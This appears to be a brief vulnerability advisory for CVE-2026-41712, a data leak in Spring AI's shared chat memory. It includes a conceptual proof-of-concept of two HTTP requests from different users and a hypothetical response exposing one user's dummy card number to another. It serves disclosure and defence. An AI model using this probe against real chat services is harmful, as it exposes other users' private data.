CVE-2026-41712: Spring AI 聊天记忆数据泄露漏洞

/* * PoC Scenario: Demonstrating potential data leakage due to shared ChatMemory. * This assumes the vulnerable default configuration is used. */ // Step 1: User A sends a private message POST /api/chat HTTP/1.1 Host: vulnerable-app.com Content-Type: application/json { "userId": "user_a", "message": "My credit card is 1234-5678-9012-3456" } // Step 2: User B sends a normal message immediately after POST /api/chat HTTP/1.1 Host: vulnerable-app.com Content-Type: application/json { "userId": "user_b", "message": "Hello, what is the weather today?" } // Potential Vulnerable Response for User B: // The system might return context including User A's message. { "response": "The weather is sunny. By the way, you previously mentioned: 'My credit card is 1234-5678-9012-3456'", "history": ["My credit card is 1234-5678-9012-3456"] }